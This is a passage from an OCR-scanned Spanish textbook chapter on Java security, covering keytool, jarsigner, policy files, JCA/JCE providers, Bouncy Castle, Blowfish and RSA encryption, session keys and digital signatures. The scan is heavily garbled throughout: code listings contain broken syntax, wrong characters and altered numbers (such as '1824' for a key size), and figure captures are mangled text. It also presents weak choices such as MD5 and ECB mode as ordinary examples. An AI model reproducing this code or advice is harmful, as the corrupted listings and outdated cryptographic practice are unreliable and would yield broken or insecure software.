como las mas utilizadas:

F jar. La herramienta jar se emplea para crear archivos JAR, El formato
JAR permite reunir maltiples ficheros en un Unico archivoe. Cuando se
desea firmar una aplicacidn se usa esta herramienta para empaquetarla y
luego se firma usando el programa jarsigner.

¥ keytool. Herramienta que se utiliza para la generacion de pares de claves,
importar v exportar cerlificados X. 509, generar certificados X.509 V1
autofirmados v gestionar almacenes de claves (keystores). El almacén de
claves es una base de datos, protegida que contienen claves y certificados
para un usuario ¢ grupo de usuarios. Entre las principales caracteristicas
se pueden destacar:

® Crear pares de claves (pablica v privada).

o Emitir solicitudes de certificados a las entidades CA.

® Importar copias de certificados (obtenidos del CA contactado).

® Designar claves pablicas de otros como de confianza.

W jarsigner. La herramienta jarsigner se emplea para firmar v validar la
firma de archivos JAR. Esta herramienta emplea los almacenes de claves
creados con la herramienta keytool para buscar las claves privadas y
certificados que necesita para firmar archivos JAR, verificar firmas (clave
publica) o verificar claves piblicas {certificados).

F polievtool. Herramienta que se emplea para erear y modificar los archivos
de configuracion de politicas.

Las politicas de seguridad en Java se configuran a través de los siguientes
dos ficheros del sistema:

$JAVA_HOME/1lib/security/java.policy
$IAVA_HOME/lib/security/java.security

donde $1AVA HOME es el directorio ralz del directorio de instalacion del 1D

Estos ficheros de configuracidn permiten definir las politicas de seguridad y
los permisos de acceso que se usan desde los programas realizados en Java.
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Tanto el fichero java.policy como el fichero java.security pueden incorporar
variables que les permiten hacer mds dindmica la configuracidn de la politica de
seguridad. Las variables de extensidn son similares a las variables del shell de Unix,
por ejemplo, la linea

permission java.io.FilePermission “%{user.home}”, “read”

permite que cualquier usuario disponga de permiso de lectura sobre su directorio
home. La propiedad ${userhome} tomard el valor del directorio del usuario.

1.1.2 java.policy

Las politicas de seguridad se especifican en uno o mis ficheros de
conliguracidon de politicas. Estos ficheros especifican qué permisos estan habilitados
para el codigo oblenido de los origenes de cddigo especificados.

Un archivo de politicas de seguridad se puede escribir usando la herramienta
policvtool del JDE.

Por defecto hay un archivo de politicas del sistema v, opeionabmente, otro
archivo de politicas del usuario.

El fichero de configuracidn de politicas de seguridad contiene una lista de
entradas que puede contener una entrada keystore v una o mds entradas grant.

El kevstore es la base de datos de claves privadas y sus certificados asociados
y permile indicar donde consultar las claves pablicas de las entidades firmantes
especificadas en las entradas grant del fichero. La entrada keystore debe aparecer
en el fichero si cualquier entrada grant especifica el alias de una entidad que firma.

El fichero solo puede contener una entrada keystore en el fichero (cualguier
otra despuds de la primera serd ignorada), ¥y de ubicarse independientemente de
cualguier otra entrada. Su sintaxis es: keystore “url_fichero keystore”™ donde url
fichero_keystore especifica la localizacion URL de la base de datos.

Cada entrada grant del fichero sigue el siguiente formato, donde la palabra
reservada grant indica el comienzo de una nueva entrada. Dentro de cada entrada, la
palabra reservada permission marca el comienzo de un nuevo permiso en la entrada.

Erant [SignedBy ™lista_alias_entidades_firmantes"] [, CodeBase "URL™] {
permission clase_permiso [“recurso™][, "accidon®][, SignedBy “lista alias™];

permission ...

}i
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La clase_permiso debe ser el nombre de una clase de permisos, por gjemplo
java.io FilePermission.

1.1.3 javasecurity

En este fichero se almacenan las propiedades necesarias para configurar la
seguridad del sistema. Se almacena informacidn relacionada con los proveedores
de seguridad instalados en el sistema, la ubicacion de los ficheros de configuracion,
nombre de la clase que implementa la politica de seguridad, ete.

Los proveedores instalados se registran afiadiendo al fichero una linea con
el formato:

security.provider.n=nombre_clase_provider
donde n indica el nimero de proveedor.
Un ejemplo de este fichero:

security.provider.l=sun.security.provider.5un
security.provider.2=sun.security.rsa.5unfRsaSign
security.provider.3=sun.security.ec.5unEC
security.provider.d=com.sun.net.ssl.internal.ssl.Provider
security.provider.S5=com.sun.crypto.provider.Sun]CE
security.provider.&=sun.security.jgss.5unProvider
security.provider.7=com.sun.security.sasl.Provider
security.provider.8=org.jcp.xml.dsig. internal .dom. XMLDSigRI
security.provider.9=sun.security.smartcardio.SunPCSC

security.provider.i1@=sun.security.mscapi.SunMsSCAPI

Cada entrada define el proveedor de cifrado que ofrece un API de eriptografia
en Java.Un fichero llamdo java.security que se encuentra dentro de la ruta jretlib)
security contiene las siguientes entradas:

policy.provider=sun.security.provider.PolicyFile
policy.url.l=file:3{java.home}/lib/security/java.palicy
policy.url.2=fle:${user.home}/java.policy

Estas entradas hacen que se cargue el criterio de seguridad desde un fichero
llamado java.policy.

Fichero cacerts

Otro fichero interesante que se encuentra dentro de la ruta §{java.home}/
lib/security/ es el fichero cacerts, también llamado almacén de certificados. Este
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fichero contiene un almacén de claves donde se relaciona cada certificado con la
entidad de certificacion (CA). El archivo cacerts puede ser gestionado v modificado
por los administradores del sistema mediante el comando keytool. Estos certificados

se pueden ver utilizando el comando kevtool:
keytool -list -keystore cacerts

Cuando se ejecuta el comando anterior, se le pedird una contrasefa. Se
recomienda cambiar esta contrasefia porque el almacén de claves contiene los
certificados CA de confianza instalados en el sistema vy esta informacidn no deberia
ser manipulada por alguien que no sea administrador del sistema.

Ejecucion:

“keystore cacerts

Introduzca la contraseta del almacBn de clauves:

Tipo de @lr de C
Proveedor de macir

contiene 53 entradas

jul=268
11

tal de
alfreenallca
tal da Cert

stedier LE

Figura 7.1. Captura de pantalla. Ejecucion Keytool
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jarsigner

jarsigner utiliza los certificados del almacén de claves para generar firmas
digitales para archivos JAR. Utiliza la clave privada de la entidad para generar una
firma. El archivo JAR firmado contiene, entre olras cosas, una copia del certificado
del almacén de claves para la clave plblica correspondiente a la clave privada
usada para firmar ¢l archivo, 51 ¢jecutamos ¢l comando podemos ver las opciones
disponibles:

Figura 7.2. Captura de pantalla. Ejecucion jarsigner

jarsigner también puede comprobar la firma digital del archivo JAR firmado
con el certificado que tiene en su interior. Para verificar se utiliza la opeidn —verify,

jarsigner -verify [ options ] jar-file

De esta forma se obtiene una lista de ficheros del archivo jar, cada uno de los
cuales lleva hasta 3 letras informativas en la columna de la izquierda.

F Laletra “m” indica si el fichero estd incluido o no en el manifesto
FLaletra *“s™ indica s el fichero estd firmado
P La letra “k” indica que la firma corresponde a un certificado del keystore

El Giltimo mensaje transmitido por ¢l comando jarsigner es “jar verified”, que
nos informa que el archivo estd ok.
Ejecucion:

% jarsigner -verify -wverbose jce.jar
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Figura 7.3. Captura de pantalla. Ejecucion jarsigner verfify

1.2 JCA: JAVA CRYPTOGRAPHY ARCHITECTURE

La JCA es un marco de trabajo para acceder v desarrollar funciones
criptogrificas en la plataforma Java. Se disefid alrededor de dos principios bdsicos:

I. ldependencia e interoperabilidad de las implementaciones:

o la independencia de la implementacidn se consige empleando
una arguiteciura basada en proveedores. El término proveedor de
servicios criptogrificos se refiere a un paguete o conjunto de paquetes
que proporcionan una implementacion concreta de los aspectos
criptograficos de la APl de seguridad de Java (como algoritmos de
firmado, de funciones de dispersion o conversion de claves). Los
proveedores deben poder cambiarse de modo transparente para las
aplicaciones.

o La interoperabilidad de las implementaciones significa que cada una
de ellas puede trabajar con las demas, usar claves generadas por otra
implementacion o verificar sus claves,

2. Independencia y extensibilidad de los algoritmos:

o La independencia de los algoritmos se consigue definiendo tipos
de servicios criptogrificos v definiendo clases que proporcionan la
funcionalidad de estos servicios.

o La extensibilidad de los algoritmos significa que nuevos algoritimos
que entren dentro de alguno de los tipos soportados (es decir, sean
compatibles con las clases motor) puede ser afiadido fcilmente.
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Concepto de proveedor

Un proveedor es el encargado de proporcionar la implementacion de uno o
varios algoritmos a los desarrolladores, es decir, darle acceso a una implementacion
especifica de algunos de los algoriumos criptograficos.

JCA define el concepto de proveedor mediante la clase Provider del paquete
java.security. El constructor de una clase proveedor ajusta los valores de varias
propiedades que necesita el AP1 de seguridad de Java para localizar los algoritmos u
otras facilidades implementadas por el proveedor.

La clase Provider tiene métodos para acceder al nombre del proveedor,
el nimero de versidn y otras informaciones sobre las implementaciones de los
algoritmos para la generacién, conversion y gestion de claves v la generacion de
firmas y resimenes.

A grandes rasgos hay 2 formas de gestionar la lista de proveedores disponibles
por ¢l programador,

1. Estiticamente, editando las entradas del fichero java.security

2. Dindmicamente, invocando desde el programa los métodos addProvider()
o insertProvider() de la clase javasecurity.Security para afadir o al
método removeProvider() para eliminar

Fl

Si un desarrollador desea conocer los proveedores disponibles puede
emplear los métodos getProvider{“nombre™) {para saber si un proveedor concreto
estd instalado) o getProviders() (que devuelve un array con los nombres de los
proveedores disponibles en el sistema).

El siguiente programa nos permite saber que proveedores v algoritmos
tenemos instalados en nuestro sistema vy las propiedades de cada proveedor.

InfoProveedores.java
import java.security.”®;
import java.util.*;

class InfoProveedores
public static wvoid main{String[] args) {

System. out . primtlnf - e cm e e a LMY
System.out.println{“Proveedores instalados en su sistema™);
System. out . println - oo o LMY

Provider[] listaProv = Security.getProviders(};
for {(int 1 = 8; i <« listaProv.length; i++) {
System.out.println{“Ndim. proveedor : * + (1 + 1));

System.out.println{"Nombre 1 + listaProv[i].getName());
System.out.println{"versidn L + listaProv[i].getVersion()};
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e

System.out.println{"Informacidn 1\n + listaProv[i].getInfo());

System.cut.printin{“Propiedades o
Enumeration propiedades = listaProv[i].propertyNames();

while (propiedades.hasMoreElements()) {
S5tring clave = (5tring) propiedades.nextElement(};
String wvalor = listaProv[i].getProperty(clave);

" e

System.out.println{™ * % clave + = + wvalor);

System.out.printlnf M ------ccrcocmm e oo )

En este ¢jemplo se usa el método getProviders(). Este método se usa para
consultar los proveedores ya estan instalados. Devuelve un array que contiene objetos
del tipo Provider.

public Provider[] getProviders()

También disponemos de un método que pasindole el nombre del proveedor

nos devuelve un objeto Provider con toda su informacion.
public Provider getProvider(5tring providerName)

Ejecucion InfoProveedores:

P LE R

jave. security. dnlerfaces . &

st ur i Ly . Snberfaces  TOAFT Luatekiy

Y. inter e PIPFLUAL el ey
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Figura 7.4. Captura de pantalla. Ejecucion InfoProveedores

JCA proporciona en forma de API Tunciones criptogrificas en Java como
firma digital ¥ generacion de centificados. Se trata de un conjunto de clases que se
encuentran dentro del package java.security.

Las clases principales son:

F Provider. Interfaz al package de la implementacion de un determinado
proveedor. Esta clase contiene métodos que permiten obtener el nombre
del proveedor, el nimero de versibn, asi como informacion adicional
acerca de los proveedores.

F Security. Mancjo de proveedores instalados en la MV v de propiedades
de seguridad (permisos).

F MessageDigest. Manejo de digests con SHA-1 o con MD5.

F Signature. Manejo de firma digital con DSA o RSA (encriptacion) y
MD35 (digests).

F Key. Interfaz para manejo de claves representadas de forma opaca.

F KeySpec. Manejo de representaciones transparentes de las claves y {en

esle caso) comunes a todas ellas.

F KevFactory. Convierte representaciones de claves opacas {claves) en
transparentes {especificaciones). Es bidireccional.

F CertificateFactory. Genera certificados y listas de revocacion siguiendo
una deterinada codificacion (p.e. X.509).

F KeyPair. Par (piblico, privado) para un esquema de clave asimétrico.
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F KevPairGenerator. Obtiene un par (piablico, privado).
F KeyStore. Interfaz para el manejo de almacenes de claves.

F SecureRandom. Manejo de nimeros aleatorios.

Javasecurity.MessageDigest Calculo de resumen de mensajes (hash).
javasecurity.Signature Firmado de datos ¥ verificacion firmas.
java.security. KeyPairGenerator Cienerar pares de claves (piblica v privada)

para un algoritmo.

Convertir claves de formato criptografico
aespecificaciones de claves y vice versa
Crear certilicados de clave piblica v listas de
revocacion{CRLs).

Crear y gestionar un almacen de claves
(Revstore).

Giestionar los pardmetros de un algoritmo,
incluyendocodificacion v decodificacion.

Generar un conjunto de pardimetros para un
algorim.

Gienerar nimeros aleattorios o pseudo
aleatrorias,

javasecurity. KeyFactory
javasecurity.certificate.CertificateFactory
javasecurity. KeyStore

javasecurity. AlgorithmParameters
javasecurity. Algorithm ParameterGenerator

javasecurity. SecureRandom

Por ejemplo, para comprobar la validez de un documento podemos utilizar
la clase MessageDigest.Para crear un digest primero se ¢rea una instancia de un
algoritmo de hashing (MD5 o SHA-1), especificando opcionalmente el proveedor
de la implementacion:

MessagebDigest md = MessageDigest.getInstance{™MD5", "Sun”};

A continuacion, proporcionamos los datos sobre los que se debe crear el
digest, suponiendo que estos se encuentran en un array de datos de tipo byte:
¥ b

wd.update(datos};
Finalmente podemos almacenar el digest propiamente dicho en olro array:

byte[] d = md.digest(};
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1.2.1 Servicios Proveedores de cryptografia (CSP)

Los servicios CSP proporcionan un conjunto de paguetes que son
implementaciones concretas de los algoritmos criptograficos{MD35,SHAT).JCA
ofrece un conjunto de APls que penmiten a los desarrolladores de Java consultar los
proveedores de servicios y la infonmacion criptografica. JCA también hace que sea
ficil para los desarrolladores de aplicaciones para agregar proveedores adicionales.
Las aplicaciones web pueden configurar adecuadamente su entorno de tiempo de
ejecucion para especificar el proveedor orden de preferencia.

Desde el punto de wvista del desarrollador, se puede utilizar la clase
MessageDigest para solicitar un determinado algoritimo o servicio en particular (por
gjemplo, algoritmo MDS).

md = MessageDigest.getInstance {"MD5™);

Messogeligest . getinstancel "HDE™)|
— — APPLICATION

- +

I VDS MessogeDigest from Provides
WE4S

PROVIDER FRAMEWORK

e
Hessmge Hessoge
Digest . lgest
-p o - M5
EHA-31Z 1 5HA-1
k.
Pravider ME4S Provider X Prowlder ¥

Figura 7.5. Solicitar proveedor mediante getinstance

En la figpura vemos gue el desarrollador estd solicitando un algoritmo
digest de MDS5 En este caso, cuando una aplicacién solicita un algoritmo MDS5 sin
especificar un nombre de proveedor, los CSP se buscan en orden de preferencia v se
devuelve la primera implementacion gque se encuentre.
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1.3 JCE: JAVA CRYPTOGRAPHY EXTENSION

Este APl afade funciones de encriptacidon y desencriplacion de datos y se
corresponde con las clases del package javax.erypto. Las mds importantes son:

Cifrador de un determinado algoritmo en modo
javax.erypto.Cypher encriptar/desencriptar. Proporciona encripiacion
y desencriptacion

Facilita el uso de cifradores de stream de
entrada y salida

Generador de claves secretas para esquemos
javax.crypto. KeyGenerator SR

Jjavax.crypto.SecretKeyFactory Proporciona un generador de claves simétricas,

Javarx.crypto.CypherInput{ Output} Stream

Funcionalidad para el protocolo del mismo
nombre para intercambiar mensajes de forma

javax.crypto.Key Agreement segura sin intercambiar una clave secreta.
Proporciona un protocolo de intercambio de
claves.

javax.crypto.MAC Proporciona un algoritmo de autenticacion de

MEnsajes.

En general, lo primero que hay que hacer es crear un generador de claves,
especificando ¢l algoritmo de encriptacion (p.e. Blowfish):

KeyGenerator kg = KeyGenerator.getInstance(“Blowfish™};

A partir de este generador podemos obtener una clave mediante el método
generatelkleyl) de la clase KeyGenerator:

Key k = KeyGenerator.generateKey();

Una vez tenemos la clave, la encriplacion se hace creando un objeto de la
clase cipher, especificando algoritmo, modo v padding, v después se inicializa dicho
objeto con la clave que acabamos de crear:

Cipher c = Cipher.getInstance("Blowfish/ECE/PKCE5Padding”);
c.imit{Cipher.ENCRYPT_MODE, k);

Finalmente, realizaremos la encriptacion propiamente dicha de los datos
contenidos en un array de tipo byte v los devolveremos en otro array:

byte[] cf = c.dofFinal{datos);
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Para poder usar JCE hay que instalar previamente una implementacion. Una
de las mas completas es la de BouneyCastle, disponible en hitp://www bouncycastle.
org (descargar JCE con proveedor y API). Una vez descargado lo mds recomendable
es instalarlo como una extension, es decir copiar el ichero JAR correspondiente en el
directorio $JAVA_HOME/jre/lib/ext. Una vez colocado el JAR como extension se
ha de modificar el fichero $JAVA_HOME/jre/lib/security/java.seeurity en donde
se definen los distintos proveedores criptograficos para afadir el nuevo proveedor:

# Muevo proveedor de BouncyCastle
security.provider.x=org.bouncycastle. jce.provider.BouncyCastleProvider

La miguina virtual incorpora por defecto el SunJCE. Si alguna funcionalidad
no se encuentra en un proveedor pasa a otro:

security.provider.l=sun.security.provider.Sun.
security.provider.2=sun.security.rsa.5unfsasign
security.provider.3=sun.security.ec.5unEC
security.provider.d=com.sun.net.ssl.internal.ssl.Provider
security.provider.5=com.sun.crypto.provider.SunlCE
security.provider.&=sun.security.jgss.SunProvider.
security.provider.?=com.sun.security.sasl.Provider
security.provider.8=org.jcp.xml.dsig. internal .dom. XMLDSigRI
security.provider.9=sun.security.smartcardic. SunPCSC
security.provider.lB=sun.security.mscapi.SunMSCAPI

Figura 7.6. Proveedores de seguridad
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1.3.1 Libreria Bouncy Castle

Java, nos proporciona un soporte de cifrado, pero no es completo, de
ahi la necesidad de usar librerias adicionales que lo complementen. Esta libreria
ofrece una completa v efectiva solucidn a esta problemdtica. Para ¢l desarrollo de
funcionalidades de cifrado eriptografico se recomienda usar esta libreria opensource.

http:fwww bonncyeastle. org/

http:dwww.mobilefish.com/developer/bouncycastle/bouncycastle hitm!

Entre las funcionalidades que proporciona podemos destacar:

r

M 1 %

b . D B . |

Un API de criptografia en Java
Un proveedor de JCE v JCA.
Una libreria que permite escribir v leer objetos ASN.1 codificados.

Generadores de versiones 1 v 3 para cerlificados X.509, version 2 de
CRLs, v archivos PRCS12.

Generadores de la version 2 para los certificados X.509 .+
CGeneradores / Procesadores para S/MIME v CMS (PKCS7/RFC 3832).
Generadores / Procesadores para OCSP (RFC 2560).

Generadores / Procesadores para TSP (RFC 3161).

Generadores / Procesadores para OpenPGP (RFC 2440).

En el siguiente ejemplo obtenemos el hash de un fichero con esta libreria:

import
import
import
import
import
public

‘fi

'

java.security.”®;

jawvax.crypto.*;

javax.crypto.interfaces.*;
javax.crypto.spec.*;

java.io.*;

class EjemploHash {

Ejemplo de wso de funciones de resumen Hash

carga el fichero que recibe como parametro y genera el resumen

public static woid main(S5tring[] args) throws Exception {

f/ Comprobar argumentos
if (args.length != 1) {
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Se utiliza una misma clave para cifrar y descifrar los datos. En este caso la
clave debe ser conocida por los dos extremos de la comunicacion. Un ejemplo de
encriptacion simétrica utilizando el algotitmo Blow fsh:
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Blowfish.java

import javax.crypto.*;
import java.security.®;
import java.nio.charset.Charset;
public class Blowfish {
[/ f Definimos cadena a encriptar
public static final String cadena = "cadena a encriptar®;
public static final Charset CHARSET_I150_E859_1 = Charset.forName("I150-B859-1");
public static woid main{String[] args) throws Exception {
System.out.println{™El texto original es: “ + cadena);
// Generar una clave Blowfish
System.out.println{“Aplicando cifrado Blowfish...."};
try {
fF Seleccionar proveedor del tipo IJCE
KeyGenerator generador = KeyGenerator.getInstance(™Blowfish™);
System.out.printlni{“Proveedor de cifrado: ™ +
generador.getProvider().getInfo{)});
System.out.println(“Algoritmo de cifrado: * + generador.getAlgorithm(}};
Provider provider=generador.getProvider();
System.out.printlnl{“Proveedor
seleccionado: "+5tring. valueOf{provider.getName{)});
generador.init{128);
Key clawve = generador.generatekey();
ff encriptar texto
System.out.print("Encriptando texto entrada...™};
Cipher cifrador = Cipher.getInstance("Blowfish/ECB/PKCS5Padding®);
cifrador.init(Cipher.ENCRYPT_MODE, clave);
byte[] textolifrado = cifrador.dofFinal{cadena.getBytes(“UTFE"));
S5tring encrypteditring = new 5tring(textolifrado, CHARSET_ISO_8359_1);
System.out.println(“El texto cifrado es: “ + encryptedString);
ff descifrar texteo
System.out.print{"Descifrando texto cifrado...®);
cifrador.init({Cipher.DECRYPT_MODE, clave);
byte[] textodesCifrado =
cifrador.dofFinal{encryptedstring.getBytes (CHARSET_I50 B859_1)});
String decrypteditring = new String(textodesCifrado, CHARSET_ISO_8ES59_1);
System.out.println(™El texto descifrado es: ™ + decryptedString});
Ycatch (MoSuchaAlgorithmException e} {
System.out.println“NoSuchAlgorithmException: ™ + e.getMessage());
} catch (NoSuchPaddingException e) {
System.out.println{“NoSuchPaddingException: ™ + e.getMessage());
} catch (InvalidkKeyException e} {
System.out.println{”InvalidkeyException: * + e.getMessage());
} catch (IllegalstateException e} {



32Z SEGURIDAD EMAPLICACIONES WEB JAVA ) R -M

System.out.println{”IllegalstateException:
} catch (IllegalBlockSizeException e) {

+ e.getMessage());

System.out.println{”IllegalBlockSizeException: *

} catch (BadPaddingException e} {
System.out.println{“BadPaddingException:

+ B.getMessage());

or

+ e.getMessage());

Ejecucidn Blowfish:

Triple DEZ. AEZ, Blowfish, ARCFOUR

Figura 7.7. Captura de pantalla. Ejecucion Blowfish

14.1 Estrategias de clave secreta

La forma mds sencilla de realizar eneriptacién-desencriptacion de datos es
utilizar la misma clave en ambos procesos. Como acabamos de ver, podemos definir
un cifrador para encriptar v luego utilizar ¢l mismo cifrador para desencriptar. La
encriptacion simétrica es rdpida y por ello se recomienda en aguellas aplicaciones
en donde se requiere proteger un gran segmento de datos. Sin embargo, al exigir
que tanto emisor como receplor se pongan de acuerdo es muy sensible a atagques
man in the middle, por lo que la clave que ha de enviarse suele encriptarse de forma
asimétrica como veremos mas adelante, En todo caso cuanto mayor sea la longitud
de la clave mas segura serd la encriptacion.

7.5 ENCRIPTACION ASIMETRICA

Se tienen dos claves, una pablica y otra privada. La clave piablica puede ser
difundida, pero la privada nunca se le comunicara a nadie. Lo que se cifra con la
clave pablica, solo puede ser descifrado con la privada, v viceversa.

Por lo tanto, si queremos que los datos que nos envien vengan cifrados,
deberemos proporcionar nuestra clave piblica al otro extremo de la comunicacion,
el emisor en este caso, que utilizard la clave para cifrar los datos v envidrnoslos.
Mosotros podremos descifrarlos con nuestra clave privada.
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15.1 CGlave Piiblicay Clave Privada

El esquema asimétrico resuelve el problema de necesitar una clave
preestablecida. Se divide la clave en dos claves:la clave publica v la clave privada.
Un mensaje encriptado con la clave publica solo puede ser desencriptado con la
correspondiente clave privada. Por lo tanto, el conocimiento de la clave publica
no implica capacidad de desencriptacion. Asi, una persona podrd difundir su clave
publica para que cualquiera pueda enviarle un mensaje cifrado que solamente podrd
desencriptarse con la clave privada.

haola hola

==

Clave publica Clave privada

Figura 7.8. Esquema de clave secreta

El algoritmo RSA es el mas conocido para manejar esquemas asimétricos.
Una caracteristica interesante de este método es que las claves son intercambiables a
efectos de figurar como piblicas o privadas.

En cuanto a la longitud de las claves, esta deberd ser mayor que en ¢l caso
simétrico para proporcionar el mismo nivel de seguridad: una clave asimétrica de
1024 bits proporciona la misma seguridad que una simétrica de 128 bits. Esto hace
el esquema asimétrico 1000 veces mas lento que su homdlogo simétrico.

Generando el par de claves RSA en JAVA

System.out.println{”Generando par de claves R5A...");
KeyPairGenerator géneradurﬁﬂ = KeyPairGenerator.getInstance(™RSA™);
generadorR5sA. initialize{1824);

KeyPair claves = generadorR5A.genkKeyPair();
System.out.printlnf”Generada la clawve asimétrica.™};
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Para generar un par de claves piblica y privada para nuestro cliente de
servicios web, podemos utilizar ¢l comando keytool comentado anteriormente.

Le ponemos el alias “clientel™. Lo almacenamos en el almaecén cliente ks y
le indicamos a keytool que el algoritmo para generar la clave serd el RSA, mientras
que el de la firma digital serd SHAT con RSA.

% keytool -genkey -alias clientel
-keystore cliente.ks -dname cn=clientel,dc=example,dc=com
-keyalg RSA -sigalg SHAlwithRSA

Escriba la contrasefa del almacém de claves: clientel-kspass
Volver a escribir la contrasefia nueva: clientel-kspass
Escriba la contrasefa clave para <clientel:

{INTRD si es la misma contrasefia gue la del almacén de
claves):clientel-pass

Volver a escribir la contrasefia nueva: clientel-pass

La contrasefia clientel-kspass es un string que se afladird al contenido del
almacén antes de generar el codigo hash. 5i alguien malintencionado modifica el
almaceén, no serd capaz de actualizar ¢l hash de forma correcta y cuando keytool abra
un almacén con ¢l hash incorrecto, nos avisard. Por otro lado, la conirasedia clientel-
pass sc usara para encriptar la clave privada de clientel, para que oiras personas
no sean capaces de leer la clave privada. Comprobamos que la entrada haya sido
afiadida, v keytool nos pregunta la contrasefia del almacén de claves, para poder
calcular el hash:

Figura 79. Captura de pantalla. Ejecucion keytool
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El hecho de que el propietario v ¢l emisor sean los mismos, como se puede
observar en la entrada mostrada, significa que es un certificado autofirmado (self-
signed). Mecesitamos que una autoridad certificadora (CA) nos lo firme, y para ello
generaremos una peticion de certificado:

$ keytool -certreg -alias clientel -keystore cliente.ks -file clientel.csr
Escriba la contrasefa del almacém de claves: clientel-kspass

Escriba la contrasefa clave para <clientel:: clientel-pass

Ahora podriamos enviar el archivo clientel.csr a alguna CA conocida,
pagando el precio que esta haya establecido por el servicio. También podemos
exportar el certificado con ¢l comando export, de la herramienta keyvtool. Este
comando nos generaria un fichero certificado.crt

$keytool -export -keystore cliente.ks -alias clientel -file certificado.crt

Podemos importar un certicado en nuestro sistema para utilizarlo en un
proceso de firma lo podemos hacer con el comando import.

% keytool -import -file certificado.crt -keystore cliente.ks

15.2 Clases e Interfaces en Java

Para aplicar encriptacidén asimétrica usaremos bdsicamente las siguientes
clases de

java.security

KeyPair Encapsula un par de claves. Para acceder a cada una de ellas se usan los
métodos: getPublic(),getPrivate()

Publickey Interface para claves piblicas. En el package
java.security.interfaces esta la sub-interface RSAPublicKey que define
las claves para el algoritmo RSA v permite acceder a informacion de las
claves REA

Privatekey Similar a la anterior, para la clave privada. Hay que considerar las sub-

interfaces

RSAPrivateKey v RSAPrivateCriKey que
contienen métodos extra para coger pardmetros de estas claves.

KeyPairGenerator  Las claves piblica y privada siempre se
generan juntas con el método genkeyPair().
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15.3 Encriptacion de Clave de Sesion

En el modelo de clave-de-sesidn (session-key) un mensaje se encripta con
una clave secreta v esta a su vez es encriptada con la clave pablica del receptor
del mensaje. Cuando este lo recibe solo tiene que utilizar su clave privada para
desencriptar la clave secreta y esta a su vez para desencriptar el mensaje.

Veamos como realizar este tipo de estrategia desde java. En primer lugar,
creamos una clave simétrica, tipo Blowfish de 128 bits, para cifrar el texto.

System.out.println{”Generando clave Blowfish...");
KeyGenerator generador = KeyGenerator.getlnstance(“Blowfish™);
generador.imit(128);

Key claveBlowfish = generador.generatekey();
System.out.println{”Formato: “sclaveBlowfish.getFormat{)});

A continuacion, generamos ¢l par de claves RSA (publica v privada).

System.out.println{”Generandas par de claves R5A..."};
KeyPairGenerator generadorfSA = KeyPairGenerator.getInstance{™RSA™);
generadorRiA. initialize(1824);

KeyPair claves = generadorfSA.genkeyPair();
System.out.println{“Generada la clave asimétrica.");

Ya podemos crear ¢ inicializar el cifrador RSA que se va a encargar de
encriptar la clave Blowfish con la parte pablica del par RSA.

Cipher cifradorRSA= Cipher.getInstance("RSA/ECB/PKCS1Padding™);
cifradorRSA.init{Cipher.ENCRYPT_MODE, claves.getPublic());

Una vez tenemos este cifrador cogemos los bytes de la clave Blowfish vy los
encriptamos:

byte[] bytesClaveBlowfish = clawveBlowfish.getEncoded(});
byte[] claveBlowhshCifrada = cifradorRSA.doFinal{bytesClaveBlowfish);

Desencriptamos la clave Blowfish con la parte privada del par RSA.,

cifradorfSA.init{Cipher .DECRYPT_MODE, claves.getPrivate());
byte[] bytesClaveBlowfishz =
cifradorfiSA.doFinal({claveBlowfishCifrada);

Finalmente recreamos la clave Blowfish.

Secretkey nuevallaveBlowfish = new SecretkeySpec({bytesClaveBlowhish2,
“Blowfish™);
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76 AUTENTICACION. FIRMA Y CERTIFICADO DIGITAL

La firma digital consiste en cifrar la huella de los datos que estamos enviando
mediante nuestra clave privada. El receptor de dicho documento podrd recuperar la
huella descifrdandola mediante nuestra clave pablica. Una vez descifrada la huella,
podrd generar la huella de los datos recibidos v comprobar si coincide con la que le
enviamos. Esto le garantizard que los datos no hayan sido modificados por nadie mis
a parte de nosotros, ya que somos los Gnicos que tenemos en nuestro poder la clave
privada necesaria para firmarlos.

16.1 Autenticacion por Firma Digital

Bisicamente, ¢l proceso de firma digital consiste en la asociacion de la
identidad de un individuo a unos datos. Por ejemplo, para garantizar que yo he escrito
un determinado email este se firma digitalmente. Una firma digital se implementa
como un digest (asociado al mensaje que se desea firmar) procesado por una clave
privada (asociada al usuario que firma).

A grandes rasgos, ¢l proceso de validar unos datos mediante firma digital se
pucde resumir en los siguientes pasos:

1. Obtener el digest del mensaje.

2. Usar la clave plblica del remitente para extraer ¢l digest de la firma digital.
3. Siambos digests son iguales entonces validar,

En JCA, el proceso de crear el digest, firmar, extraer el digest v verificar la

firma se lleva a cabo por clases del package java.security.Signature:

Meétodo Funcion

getlnstance() Obtiene una instancia de un objeto Signature especificando algoritmo v
opcicnalmente el proveedor. Pe. MDSWithRSA SHATWIthRSA,

MD5SWithDSA SHATWithDSA
imitSign() Inicializa un objeto Signature con una clave privada para firmarlo.
initVerify() Inicializa un objeto Signature con una clave piblica para verificarlo.
update() Una vez que el objeto signature estd inicializado se le pasan los datos que se
guieren firmar o verificar como array de bytes.
sign() Devuelve los bytes de la firma digital para los datos pasados a través de
update().
verifyv() Tomando como argumento los bytes de una firma digital, devoelve un valor

booleano indicando si la firma asociada a los datos pasados a update() es
correcla.
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Firma digital en Java

Estos son los pasos a seguir para firmar un mensaje con la clase Signature:

-
s

Obtener instancia especificando algoritmo: getlnstance()
Inicializar con una clave privada: initSign()

Recogida (preparacion) de datos: update()

Firmar los datos y devolver firma: sign()

Inicializar con clave pablica: initVerify()

Recogida de datos que fueron firmados: update()

Werificacidn: verify()

Por ejemplo, si hemos generado un par de claves RSA y lo hemos guardado
en la variable parClaves y tenemos un array de bytes llamado dates que contiene ¢l
texto a firmar, seguiriamos el siguiente proceso para firmarlo:

FirmaDigital.java

import
import
import
import
import
public

jawa.security.Signature;
java.security.5ignatureException;
java.security.KeyPair;
java.security.KeyPairGenerator;
sun.misc.*;

class FirmaDigital {

public static woid main (String[] args) throws Exception {
if {args.length != 1) {
System.err.println{™Uso: java FirmaDigital ‘“texto a firmary"");
System.exit(1);

}

System.out.println{™Generando un par RSA...");

KeyPairGenerator generador = KeyPairGenerator.getInstance{"R5A™);
generador.initialize(1824);

KeyPair parClaves = generador.genkeyPair{};

System.out.println{®Generando el par de claves."};

i

Tomar los bytes de datos a firmar del primer argumento

byte[] datos = args[8].getBytes(“UTFE"};

/4 Obtenmer instancia del objeto Signature e inicializarlo con

A

la clave privada para firmarlo

Signature firma = Signature.getInstance(“MDSWithR5A™); /[f/fpaso 1
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[

firma.initSign{parClaves.getPrivate());//paso 2
f4 Prepara la firma de los datos
firma.update(datos); /f/fpaso 3
/4 Firmar los datos
